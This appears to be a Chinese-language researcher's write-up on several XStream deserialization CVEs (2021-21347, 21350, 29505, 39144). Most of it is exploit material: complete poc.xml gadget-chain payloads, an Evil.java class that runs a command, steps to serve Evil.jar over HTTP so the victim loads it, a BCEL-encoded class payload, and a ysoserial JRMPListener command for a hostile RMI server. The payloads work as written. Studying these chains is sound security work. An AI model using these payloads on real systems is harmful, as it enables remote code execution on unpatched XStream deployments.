verify:170, ServerTableEntry (com.sun.corba.se.impl.activation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1277, XStream (com.thoughtworks.xstream)
main:19, Vul (POC.priorityQueue)

CVE-2021-21347

影响范围

XStream <= 1.4.15

特别注意:JDK >= 8u231 可用,其余低版本都会遇到下面这个报错,即便修复了 <outer-class> 报错。

1
Caused by: com.sun.tools.javac.processing.AnnotationProcessingError: java.lang.NullPointerException

版本说明

  • 1.3.x 会直接报错
  • 1.4.15 以后添加了黑名单,和上面是同一个黑名单。

漏洞分析

漏洞本质:XStream 在 xml 对象转 java 对象会触发标签里类的readObject, 于是 source 设置为java.util.PriorityQueue#readObject没有变,sink 是 JavacProcessingEnvironment$NameProcessIterator#hasNext,可以触发 URLClassLoader.loadClass.newInstance动态类加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
hasNext:408, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing)
hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:109, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
compare:153, ObservableList$1 (javafx.collections)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1277, XStream (com.thoughtworks.xstream)
main:20, Vul (POC.priorityQueue)

这个利用过程的坑比较多,这里写详细一些。

首先如果出现下面这个错误,说明你需要把 jdk1.8.0_231/lib/tools.jar 添加到依赖里,因为少了对应的类

其次是构造一个 Evil.jar ,首先是 Evil.java

title:"Evil.java"
1
2
3
4
5
6
7
8
9
public class Evil {
static{
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}

然后使用下面的命令打包,并起好服务器

1
2
3
javac .\Evil.java
jar cvf Evil.jar Evil.class
python -m http.server 7777

然后使用下面的 poc.xml 就没问题了

title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>Evil</string>
</a>
</outer-class>
</names>
<processorCL class='java.net.URLClassLoader'>
<ucp class='sun.misc.URLClassPath'>
<urls serialization='custom'>
<unserializable-parents/>
<vector>
<default>
<capacityIncrement>0</capacityIncrement>
<elementCount>1</elementCount>
<elementData>
<url>http://127.0.0.1:7777/Evil.jar</url>
</elementData>
</default>
</vector>
</urls>
<path>
<url>http://127.0.0.1:7777/Evil.jar</url>
</path>
<loaders/>
<lmap/>
</ucp>
<package2certs class='concurrent-hash-map'/>
<classes/>
<defaultDomain>
<classloader class='java.net.URLClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>
<initialized>true</initialized>
<pdcache/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>-2147483648</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE-2021-21350

影响范围

XStream <= 1.4.15

特别注意:JDK >= 8u231 可用,其余低版本都会遇到下面这个报错,即便修复了 <outer-class> 报错。

1
Caused by: com.sun.tools.javac.processing.AnnotationProcessingError: java.lang.NullPointerException

版本说明

  • 1.3.x 会直接报错
  • 1.4.15 以后添加了黑名单,和上面是同一个黑名单。

漏洞分析

漏洞本质: source 是java.util.PriorityQueue#readObject,sink 还是JavacProcessingEnvironment$NameProcessIterator#hasNext,与上一条链的区别是不使用URLClassLoader类,改成使用 bcel 链的 com.sun.org.apache.bcel.internal.util.ClassLoader,从而可以实现不出网利用。

title:"Class文件转BCEL字节码"
1
2
3
4
public static String file2bcelcode(String classFilePath) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath));
return "$$BCEL$$"+Utility.encode(bytecode, true);
}
title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$L$b3$ac$8b$bc$E$df$P$w$81B$g$3b$88$8d$c1F$U$pD$eba$9c$90$c5e$97$y$D$e1$8f$aci$d0X$f8$B$7e$94$f1$ee$c6$A$89S$dc$c7$b9$e7$9c$99$3b$df$3f$9f_$A$$Q$b6$60$oo$a1$80$j$T$c50$978v$z$q$b0$c7$b1$cfq$c0$90l$3a$9e$a3$af$Y$e2$95$ea$T$83q$ed$bf$u$86L$db$f1$d4$fdt$d4WAO$f4$5dB$cc$a6t$ff$98$e9$ae$W$f2$f5N$8c$a3$R$Z2X$5d$7f$gHu$e3$84$d4Tk$e6$b8$XC1$T6R$b08$Om$i$e1$98$cc$a5p$a5$8d$T$9c2$U$c2y$dd$V$de$a0$de$9aK5$d6$8e$ef$d98$83E$b4P$cf$90$5d3$3a$fd$a1$92$9a$n$b7$86$k$a7$9evFt$9b5Pz$d5$U$x$d5$f6$3fN$83$y$d5$5cI$86$f3$ca$c6$b4$ab$D$c7$h46$F$P$81$_$d5dB$82$cc$98$86$3aZ$b4$X$I$a9P$G$a7$bf$MO$M$y$5c$8b$e2$Wu$c7$94$Z$e5D$ed$jlA$F$83M1$Z$81$f4mH$af$a8$9dH$K$e4$3f$Q$cb$c7$970$9e$df$60$de$d6$96H$$$o$3cE$ca$EqB$7d$89$w$c0$m$8cGh$9a$is$e4$b6M$uG$ac$cd$911H$94$8d$de$93$fb$F$3c$qq$f9$f1$B$A$A</string>
</a>
</outer-class>
</names>
<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
<parent class='sun.misc.Launcher$ExtClassLoader'>
</parent>
<package2certs class='hashtable'/>
<classes defined-in='java.lang.ClassLoader'/>
<defaultDomain>
<classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>
<packages/>
<nativeLibraries/>
<assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes/>
<ignored__packages>
<string>java.</string>
<string>javax.</string>
<string>sun.</string>
</ignored__packages>
<repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
<__path>
<paths/>
<class__path>.</class__path>
</__path>
<__loadedClasses/>
</repository>
<deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
defineClass:635, ClassLoader (java.lang)
loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:351, ClassLoader (java.lang)
hasNext:409, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing)
hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:109, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
compare:153, ObservableList$1 (javafx.collections)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1277, XStream (com.thoughtworks.xstream)
main:24, Vul (POC.priorityQueue)

CVE-2021-29505

Jasper 的叨叨念:这里官网使用的是 priorityQueue 作为入口,但是 baizhu 师傅在 tabby 分析利用链的时候使用的是 sorted-map,所以如果看的是他的文章,可能会出现很迷惑的地方,特此说明。

影响范围

XStream <= 1.4.16

jdk < 8u231,没有深究是 CC6 还是 XStream 的问题,总之 8u231 是复现失败, 8u221 以及之前可以复现成功。

版本说明

漏洞分析

漏洞本质:已知 XStream 可以实现以 PriorityQueue 为入口的反序列化,于是让它和 yso JRMPClient 结合起来。ysoserial 的 JRMP 有两种攻击方式,其中一种是攻击者构建恶意 JRMPServer,并绑定一个 EvildObject;然后利用被攻击者存在的反序列化漏洞,去连接攻击者的 JRMPServer,并反序列化 EvildObject。显然,反序列化 EvildObject 需要被攻击方拥有 EvildObject 所需的对应依赖。(整个过程类似 RMI 的利用方式)

关于 yso JRMP 相关利用原理可以看参考链接。

首先,搭一个 JRMPListener ,上面绑定好要传给 Client 的 EvilObject。这里以 CC6 为例,被攻击方需要配置 CC依赖。

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"
title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>127.0.0.1</string>
<int>9999</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>127.0.0.1</host>
<port>9999</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

下面的 sun.rmi.transport.LiveRef#read 是进行 RMI 连接的逻辑。

函数调用栈,这里只给到建立 RMI 链接,后面实际上就是恶意 RMI Server 攻击 RMI Client 的逻辑,不细说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
read:291, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
readFromStream:325, SerializableConverter$2 (com.thoughtworks.xstream.converters.reflection)
readObjectOverride:123, CustomObjectInputStream (com.thoughtworks.xstream.core.util)
readObject:365, ObjectInputStream (java.io)
readObject:791, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1429, XStream (com.thoughtworks.xstream)
unmarshal:1409, XStream (com.thoughtworks.xstream)
fromXML:1303, XStream (com.thoughtworks.xstream)
main:26, Vul (POC.priorityQueue)

CVE-2021-39144

影响范围

XStream <= 1.4.17

版本说明

漏洞分析

漏洞本质:比较有意思的是 sink 点,DTraceProbe#uncheckedTrigger 有一个可控的反射调用 invoke,其他没啥说的。

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
compareTo:-1, $Proxy0 (com.sun.proxy)
siftDownComparable:704, PriorityQueue (java.util)
siftDown:690, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:113, SerializationMethodInvoker (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:452, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:257, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1157, XStream (com.thoughtworks.xstream)
unmarshal:1141, XStream (com.thoughtworks.xstream)
fromXML:1021, XStream (com.thoughtworks.xstream)
main:26, Vul (POC.priorityQueue)

小疑问

他们这些 poc.xml 是怎么写出来的?虽然本质上还是找链子,但是自己还原成 xml 还是有难度,得去学习 xstream 的官方文档??

答:baizhu的ysomap已经写了对应的逻辑: https://github.com/wh1t3p1g/ysomap ,或者是直接使用 xstream 的 toxml??

参考链接